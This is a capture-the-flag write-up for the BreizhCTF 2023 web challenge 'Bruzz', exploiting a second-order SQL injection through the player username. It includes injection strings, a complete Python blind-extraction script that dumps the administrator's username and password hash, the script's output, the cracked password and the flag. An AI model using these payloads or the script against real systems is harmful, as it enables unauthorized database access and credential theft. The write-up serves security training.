BreizhCTF 2023 - Bruzz
Challenge details
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| BreizhCTF 2023 | Bruzz | Web | ??? | ??? |

In the form of a TV game show set, the game Bruzz! lets you answer many questions spread across the most interesting subject: Brittany!
Author: Zeecka
TL;DR
The Quizz had a second-order SQL injection, requiring you to first register a player with a username containing the SQL injection, play, then check their score to trigger the injection. Blindly extracting the database allows recovering the credentials of the only administrator and retrieving the flag.
Methodology

The “Bruzz” web application lets you answer a multiple-choice Quizz, after first filling in a username. Once the answers are submitted, a message is displayed with the player’s score and the number of times they have been seen on the platform:

The various tests on the answer submission yield nothing. Resource discovery with dirsearch or gobuster reveals an administration endpoint /admin, once again not vulnerable.


Injection attempts in the Username, on the other hand, return different results confirming the hypothesis of a SQL injection:
-
Username
' OR '1'='1
-
Username
' AND '1'='0
We can therefore confirm that we have a SQL injection across multiple requests (Second order SQL Injection). Writing an exfiltration script allows retrieving the contents of the database:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import requests
import random
import string
HOST = "https://bruzz.ctf.bzh/"
s = requests.session()
letters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def get_random_string(length=6):
# Used for random comment
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def is_true(inject):
inject = inject+f" #{get_random_string()}" # Random comment to avoid same name player
s.post(f"{HOST}/register", json={"name": inject}) # Play
rep = s.post(f"{HOST}/quizz", json={"responses": [0, 2, 1, 3]}) # Submit answers
try:
nb = int(rep.json()["msg"].split(">")[1].split("<")[0]) # Get players numbers
return nb > 0
except:
return False
for i in range(1, 5):
r = is_true(f"' OR 1=1 AND (SELECT count(table_name) FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' ) = {i}")
if r:
print(f"[*] Nombre de tables: {i}")
# 2 tables
table = ""
while len(table) < 15: # While True
for l in letters:
r = is_true(f"' OR 1=1 AND (SELECT table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' LIMIT 1) LIKE '{table+l}%'")
if r:
table += l
print(f"[*] Table: {table}", end="\r")
break
print(f"[*] Table: {table}")
# Table administrateurs
col = ""
while len(col) < 8: # While True
for l in letters:
r = is_true(f"' OR 1=1 AND (SELECT column_name FROM information_schema.columns WHERE table_name = '{table}' LIMIT 1) LIKE '{col+l}%'")
if r:
col += l
print(f"[*] Column: {col}", end="\r")
break
print(f"[*] Column: {col}")
# Column username
col = ""
while len(col) < 6: # While True
for l in letters:
r = is_true(f"' OR 1=1 AND (SELECT column_name FROM information_schema.columns WHERE table_name = '{table}' LIMIT 1,1) LIKE '{col+l}%'")
if r:
col += l
print(f"[*] Column: {col}", end="\r")
break
print(f"[*] Column: {col}")
# Column passwd
user = ""
while len(user) < 13: # While True
for l in letters+".":
r = is_true(f"' OR 1=1 AND (SELECT 1 FROM administrateurs WHERE username LIKE '{user+l}%') = 1")
if r:
user += l
print(f"[*] Username: {user}", end="\r")
break
print(f"[*] Username: {user}")
# Username (julien.lepers)
pwd = ""
while len(pwd) < 40: # While True
for l in letters+".":
r = is_true(f"' OR 1=1 AND (SELECT 1 FROM administrateurs WHERE passwd LIKE '{pwd+l}%') = 1")
if r:
pwd += l
print(f"[*] Password: {pwd}", end="\r")
break
print(f"[*] Password: {pwd}")
# Password (ff19f7e740cdecdcc4e3bc182b8c9b8d19a7072c)
[*] Nombre de tables: 2
[*] Table: administrateurs
[*] Column: username
[*] Column: passwd
[*] Username: julien.lepers
[*] Password: ff19f7e740cdecdcc4e3bc182b8c9b8d19a7072c
We recovered an administration account, but the password appeared to be hashed. Fortunately, it is easily crackable and available on crackstation.

We can now log in to the administration account with the following credentials:
- Login:
julien.lepers - Password:
ouiouioui

Flag
BZHCTF{BurgerQuizSecondOrder}
Author: Zeecka